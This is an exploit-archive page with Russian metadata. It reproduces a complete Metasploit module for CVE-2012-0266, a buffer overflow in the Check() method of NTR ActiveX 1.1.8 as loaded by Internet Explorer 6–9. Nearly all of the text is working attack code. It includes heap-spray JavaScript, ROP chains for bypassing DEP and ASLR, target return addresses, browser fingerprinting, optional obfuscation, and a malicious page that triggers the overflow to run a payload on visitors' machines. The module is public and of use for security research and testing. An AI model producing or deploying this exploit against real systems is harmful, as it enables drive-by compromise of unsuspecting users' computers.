NTR ActiveX Control Check() Method Buffer Overflow Exploit

Свойства

Дата публикации:
09.10.2012
Цель:
NTR ActiveX Control
Тип воздействия:
Отказ в обслуживании
Компрометация системы

Код

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::RopDb
    include Msf::Exploit::Remote::BrowserAutopwn

    autopwn_info({
        :ua_name    => HttpClients::IE,
        :ua_minver  => "6.0",
        :ua_maxver  => "9.0",
        :javascript => true,
        :os_name    => OperatingSystems::WINDOWS,
        :classid    => "{E6ACF817-0A85-4EBE-9F0A-096C6488CFEA}",
        :method     => "Check",
        :rank       => NormalRanking
    })


    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'NTR ActiveX Control Check() Method Buffer Overflow',
            'Description'    => %q{
                    This module exploits a vulnerability found in NTR ActiveX 1.1.8. The
                vulnerability exists in the Check() method, due to the insecure usage of strcat to
                build a URL using the bstrParams parameter contents (note: this is also the reason
                why the module won't allow you to modify the URIPATH), which leads to code execution
                under the context of the user visiting a malicious web page. In order to bypass
                DEP and ASLR on Windows Vista and Windows 7 JRE 6 is needed.
            },
            'Author'         =>
                [
                    'Carsten Eiram', # Vuln discovery
                    'juan vazquez' # Metasploit module
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'CVE', '2012-0266' ],
                    [ 'OSVDB', '78252' ],
                    [ 'BID', '51374' ],
                    [ 'URL', 'http://secunia.com/secunia_research/2012-1/'; ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space' => 956,
                    'DisableNops' => true,
                    'BadChars'    => "",
                    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
                },
            'DefaultOptions'  =>
                {
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    # NTR ActiveX 1.1.8.0
                    [ 'Automatic', {} ],
                    [ 'IE 6 on Windows XP SP3',
                        {
                            'Rop' => nil,
                            'Offset' => '0x5f4',
                            'Random' => false,
                            'Ret' => 0x0c0c0c0c
                        }
                    ],
                    [ 'IE 7 on Windows XP SP3',
                        {
                            'Rop' => nil,
                            'Offset' => '0x5f4',
                            'Random' => false,
                            'Ret' => 0x0c0c0c0c
                        }
                    ],
                    [ 'IE 8 on Windows XP SP3',
                        {
                            'Rop' => :msvcrt,
                            'Offset' => '0x5f4',
                            'Random' => false,
                            'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt
                        }
                    ],
                    [ 'IE 7 on Windows Vista',
                        {
                            'Rop' => nil,
                            'Offset' => '0x5f4',
                            'Random' => false,
                            'Ret' => 0x0c0c0c0c
                        }
                    ],
                    [ 'IE 8 on Windows Vista',
                        {
                            'Rop' => :jre,
                            'Offset' => '0x5f4',
                            'Random' => false,
                            'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6
                        }
                    ],
                    [ 'IE 8 on Windows 7',
                        {
                            'Rop' => :jre,
                            'Offset' => '0x5f4',
                            'Random' => false,
                            'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6
                        }
                    ],
                    [ 'IE 9 on Windows 7',
                        {
                            'Rop' => :jre,
                            'Offset' => '0x5fe',
                            'Random' => true,
                            'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6
                        }
                    ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Jan 11 2012',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
            ], self.class
        )

        deregister_options('URIPATH')

    end

    #
    # Returns a random URI path which allows to reach the vulnerable code
    #
    def resource_uri
        path = random_uri
        path << random_uri
        return path
    end


    #
    # Generates a random URI for use with making finger printing more
    # challenging.
    #
    def random_uri
        "/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
    end

    # Spray published by corelanc0d3r
    # Exploit writing tutorial part 11 : Heap Spraying Demystified
    # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
    def get_random_spray(t, js_code, js_nops)

        spray = <<-JS

        function randomblock(blocksize)
        {
            var theblock = "";
            for (var i = 0; i < blocksize; i++)
            {
                theblock += Math.floor(Math.random()*90)+10;
            }
            return theblock;
        }

        function tounescape(block)
        {
            var blocklen = block.length;
            var unescapestr = "";
            for (var i = 0; i < blocklen-1; i=i+4)
            {
                unescapestr += "%u" + block.substring(i,i+4);
            }
            return unescapestr;
        }

        var heap_obj = new heapLib.ie(0x10000);

        var code = unescape("#{js_code}");
        var nops = unescape("#{js_nops}");

        while (nops.length < 0x80000) nops += nops;

        var offset_length = #{t['Offset']};

        for (var i=0; i < 0x1000; i++) {
            var padding = unescape(tounescape(randomblock(0x1000)));
            while (padding.length < 0x1000) padding+= padding;
            var junk_offset = padding.substring(0, offset_length);
            var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
            while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
            sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
            heap_obj.alloc(sprayblock);
        }

        JS

        return spray
    end

    def get_spray(t, js_code, js_nops)

        spray = <<-JS
        var heap_obj = new heapLib.ie(0x20000);
        var code = unescape("#{js_code}");
        var nops = unescape("#{js_nops}");

        while (nops.length < 0x80000) nops += nops;

        var offset = nops.substring(0, #{t['Offset']});
        var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

        while (shellcode.length < 0x40000) shellcode += shellcode;
        var block = shellcode.substring(0, (0x80000-6)/2);

        heap_obj.gc();
        for (var z=1; z < 449; z++) {
            heap_obj.alloc(block);
        }

        JS

        return spray

    end

    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'
        if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
            return targets[1] #IE 6 on Windows XP SP3
        elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
            return targets[2] #IE 7 on Windows XP SP3
        elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
            return targets[3] #IE 7 on Windows XP SP3
        elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
            return targets[4] #IE 7 on Windows Vista SP2
        elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/
            return targets[5] #IE 7 on Windows Vista SP2
        elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
            return targets[6] #IE 7 on Windows 7 SP1
        elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
            return targets[7] #IE 7 on Windows 7 SP1
        else
            return nil
        end
    end

    def get_payload(t, cli)
        code = payload.encoded

        # No rop. Just return the payload.
        return code if t['Rop'].nil?

        # Both ROP chains generated by mona.py - See corelan.be
        case t['Rop']
            when :msvcrt
                print_status("Using msvcrt ROP")
                rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})

            else
                print_status("Using JRE ROP")
                rop_payload = generate_rop_payload('java', code)
        end

        return rop_payload
    end

    def on_request_uri(cli, request)

        agent = request.headers['User-Agent']
        print_status("User-agent: #{agent}")

        my_target = get_target(agent)

        # Avoid the attack if the victim doesn't have a setup we're targeting
        if my_target.nil?
            print_error("Browser not supported: #{agent}")
            send_not_found(cli)
            return
        end

        p = get_payload(my_target, cli)
        js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
        js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
        js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

        if my_target['Random']
            js = get_random_spray(my_target, js_code, js_random_nops)
        else
            js = get_spray(my_target, js_code, js_nops)
        end

        js = heaplib(js, {:noobfu => true})

        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
        end

        # The overflow occurs after strcat'ing controlled data to
        # a url with the next format:
        # http://192.168.1.128:8080/asdf/mod/mod.asp?a=0&;d=[USER DATA]
        #
        # The URI length can be calculated on the fly since the value
        # for the "a" param is being always 0 on my tests, even when
        # should be the result of GetTickCount
        my_uri = get_uri(cli)
        pos = my_uri.rindex("/")
        my_uri = my_uri[0, pos]
        my_uri << "/mod/mod.asp?a=0&d="

        my_badchars = "\x00\x0a\x0d\x22\x2c"

        if my_target['Rop'].nil?
            bof = rand_text_alpha(1056 - my_uri.length, my_badchars)
            bof << [my_target.ret].pack("V")
        else
            bof = rand_text_alpha(1024 - my_uri.length, my_badchars)
            bof << [0x0c0c0c0c].pack("V") # will become ESP after stackpivot
            bof << rand_text_alpha(1056 - my_uri.length - bof.length, my_badchars)
            bof << [my_target.ret].pack("V") # stackpivot
        end

        sploit = "#{bof},#{rand_text_alpha(4)},#{rand_text_alpha(4)}"

        html = <<-MYHTML
        <html>
        <head>
        <script>
        #{js}
        </script>
        </head>
        <body>
        <object classid='clsid:E6ACF817-0A85-4EBE-9F0A-096C6488CFEA' id='test'></object>
        <script>
        test.Check("#{sploit}");
        </script>
        </body>
        </html>
        MYHTML

        html = html.gsub(/^\t\t/, '')

        print_status("Sending html")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end
end

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